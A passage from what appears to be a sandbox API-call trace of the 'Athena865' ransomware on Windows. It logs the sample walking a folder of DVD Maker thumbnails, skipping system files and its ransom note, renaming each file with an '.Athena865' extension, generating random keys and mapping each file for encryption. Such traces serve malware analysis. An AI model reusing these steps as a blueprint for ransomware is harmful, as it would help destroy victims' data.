(lpString1="rectangle_plain_Thumbnail.bmp", lpString2="perflogs") returned 1 [0119.894] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="MSBuild") returned 1 [0119.894] lstrlenW (lpString="rectangle_plain_Thumbnail.bmp") returned 29 [0119.894] lstrcpyW (in: lpString1=0x241e8a0, lpString2="rectangle_plain_Thumbnail.bmp" | out: lpString1="rectangle_plain_Thumbnail.bmp") returned="rectangle_plain_Thumbnail.bmp" [0119.894] lstrlenW (lpString="rectangle_plain_Thumbnail.bmp") returned 29 [0119.894] lstrlenW (lpString="Athena865") returned 9 [0119.894] lstrcmpiW (lpString1="bnail.bmp", lpString2="Athena865") returned 1 [0119.894] lstrlenW (lpString=".dll") returned 4 [0119.894] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2=".dll") returned 1 [0119.894] lstrlenW (lpString=".lnk") returned 4 [0119.894] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2=".lnk") returned 1 [0119.894] lstrlenW (lpString=".ini") returned 4 [0119.894] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2=".ini") returned 1 [0119.894] lstrlenW (lpString=".sys") returned 4 [0119.894] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2=".sys") returned 1 [0119.894] lstrlenW (lpString="rectangle_plain_Thumbnail.bmp") returned 29 [0119.894] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.Athena865") returned 83 [0119.894] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp.athena865"), dwFlags=0x1) returned 1 [0119.895] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.895] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072) returned 1 [0119.896] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.896] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.896] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.896] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.898] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.899] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.899] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.899] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.900] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0119.900] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.900] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.900] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2=".") returned 1 [0119.900] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="..") returned 1 [0119.900] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="windows") returned -1 [0119.900] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0119.900] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="temp") returned -1 [0119.900] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="pagefile.sys") returned 1 [0119.900] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="boot") returned 1 [0119.900] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="ids.txt") returned 1 [0119.900] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0119.900] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="perflogs") returned 1 [0119.900] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="MSBuild") returned 1 [0119.900] lstrlenW (lpString="rectangle_postage_Thumbnail.bmp") returned 31 [0119.900] lstrcpyW (in: lpString1=0x241e8a0, lpString2="rectangle_postage_Thumbnail.bmp" | out: lpString1="rectangle_postage_Thumbnail.bmp") returned="rectangle_postage_Thumbnail.bmp" [0119.900] lstrlenW (lpString="rectangle_postage_Thumbnail.bmp") returned 31 [0119.901] lstrlenW (lpString="Athena865") returned 9 [0119.901] lstrcmpiW (lpString1="bnail.bmp", lpString2="Athena865") returned 1 [0119.901] lstrlenW (lpString=".dll") returned 4 [0119.901] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2=".dll") returned 1 [0119.901] lstrlenW (lpString=".lnk") returned 4 [0119.901] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2=".lnk") returned 1 [0119.901] lstrlenW (lpString=".ini") returned 4 [0119.901] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2=".ini") returned 1 [0119.901] lstrlenW (lpString=".sys") returned 4 [0119.901] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2=".sys") returned 1 [0119.901] lstrlenW (lpString="rectangle_postage_Thumbnail.bmp") returned 31 [0119.901] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.Athena865") returned 85 [0119.901] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp.athena865"), dwFlags=0x1) returned 1 [0119.903] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.903] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072) returned 1 [0119.903] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.904] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.904] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.904] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.906] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.906] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.907] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.907] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.908] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2=".") returned 1 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="..") returned 1 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="windows") returned -1 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="temp") returned -1 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="pagefile.sys") returned 1 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="boot") returned 1 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="ids.txt") returned 1 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="perflogs") returned 1 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="MSBuild") returned 1 [0119.908] lstrlenW (lpString="rectangle_scrapbook_Thumbnail.bmp") returned 33 [0119.908] lstrcpyW (in: lpString1=0x241e8a0, lpString2="rectangle_scrapbook_Thumbnail.bmp" | out: lpString1="rectangle_scrapbook_Thumbnail.bmp") returned="rectangle_scrapbook_Thumbnail.bmp" [0119.908] lstrlenW (lpString="rectangle_scrapbook_Thumbnail.bmp") returned 33 [0119.908] lstrlenW (lpString="Athena865") returned 9 [0119.908] lstrcmpiW (lpString1="bnail.bmp", lpString2="Athena865") returned 1 [0119.908] lstrlenW (lpString=".dll") returned 4 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2=".dll") returned 1 [0119.908] lstrlenW (lpString=".lnk") returned 4 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2=".lnk") returned 1 [0119.908] lstrlenW (lpString=".ini") returned 4 [0119.908] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2=".ini") returned 1 [0119.909] lstrlenW (lpString=".sys") returned 4 [0119.909] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2=".sys") returned 1 [0119.909] lstrlenW (lpString="rectangle_scrapbook_Thumbnail.bmp") returned 33 [0119.909] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp.Athena865") returned 87 [0119.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp.athena865"), dwFlags=0x1) returned 1 [0119.910] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.910] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072) returned 1 [0119.910] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.911] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.911] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.911] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.915] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.916] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.916] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.917] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.917] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0119.917] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.917] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.917] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2=".") returned 1 [0119.917] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="..") returned 1 [0119.917] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="windows") returned -1 [0119.917] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0119.917] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="temp") returned -1 [0119.917] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="pagefile.sys") returned 1 [0119.917] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="boot") returned 1 [0119.917] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="ids.txt") returned 1 [0119.917] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0119.917] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="perflogs") returned 1 [0119.917] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="MSBuild") returned 1 [0119.917] lstrlenW (lpString="rectangle_specialocc_Thumbnail.bmp") returned 34 [0119.917] lstrcpyW (in: lpString1=0x241e8a0, lpString2="rectangle_specialocc_Thumbnail.bmp" | out: lpString1="rectangle_specialocc_Thumbnail.bmp") returned="rectangle_specialocc_Thumbnail.bmp" [0119.918] lstrlenW (lpString="rectangle_specialocc_Thumbnail.bmp") returned 34 [0119.918] lstrlenW (lpString="Athena865") returned 9 [0119.918] lstrcmpiW (lpString1="bnail.bmp", lpString2="Athena865") returned 1 [0119.918] lstrlenW (lpString=".dll") returned 4 [0119.918] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2=".dll") returned 1 [0119.918] lstrlenW (lpString=".lnk") returned 4 [0119.918] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2=".lnk") returned 1 [0119.918] lstrlenW (lpString=".ini") returned 4 [0119.918] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2=".ini") returned 1 [0119.918] lstrlenW (lpString=".sys") returned 4 [0119.918] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2=".sys") returned 1 [0119.918] lstrlenW (lpString="rectangle_specialocc_Thumbnail.bmp") returned 34 [0119.918] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp.Athena865") returned 88 [0119.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp.athena865"), dwFlags=0x1) returned 1 [0119.919] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.919] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072) returned 1 [0119.919] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.920] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.920] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.920] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.921] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.922] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.923] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.923] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.923] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0119.923] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.923] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.923] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2=".") returned 1 [0119.923] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="..") returned 1 [0119.923] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="windows") returned -1 [0119.923] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0119.924] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="temp") returned -1 [0119.924] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="pagefile.sys") returned 1 [0119.924] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="boot") returned 1 [0119.924] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="ids.txt") returned 1 [0119.924] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0119.924] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="perflogs") returned 1 [0119.924] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="MSBuild") returned 1 [0119.924] lstrlenW (lpString="rectangle_travel_Thumbnail.bmp") returned 30 [0119.924] lstrcpyW (in: lpString1=0x241e8a0, lpString2="rectangle_travel_Thumbnail.bmp" | out: lpString1="rectangle_travel_Thumbnail.bmp") returned="rectangle_travel_Thumbnail.bmp" [0119.924] lstrlenW (lpString="rectangle_travel_Thumbnail.bmp") returned 30 [0119.924] lstrlenW (lpString="Athena865") returned 9 [0119.924] lstrcmpiW (lpString1="bnail.bmp", lpString2="Athena865") returned 1 [0119.924] lstrlenW (lpString=".dll") returned 4 [0119.924] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2=".dll") returned 1 [0119.924] lstrlenW (lpString=".lnk") returned 4 [0119.924] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2=".lnk") returned 1 [0119.924] lstrlenW (lpString=".ini") returned 4 [0119.924] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2=".ini") returned 1 [0119.924] lstrlenW (lpString=".sys") returned 4 [0119.924] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2=".sys") returned 1 [0119.924] lstrlenW (lpString="rectangle_travel_Thumbnail.bmp") returned 30 [0119.924] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp.Athena865") returned 84 [0119.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp.athena865"), dwFlags=0x1) returned 1 [0119.925] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.925] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072) returned 1 [0119.925] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.926] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.926] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.926] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.928] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.929] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.929] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.929] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.930] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0119.930] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.930] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.930] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2=".") returned 1 [0119.930] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="..") returned 1 [0119.930] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="windows") returned -1 [0119.930] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0119.930] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="temp") returned -1 [0119.930] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="pagefile.sys") returned 1 [0119.930] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="boot") returned 1 [0119.930] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="ids.txt") returned 1 [0119.930] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 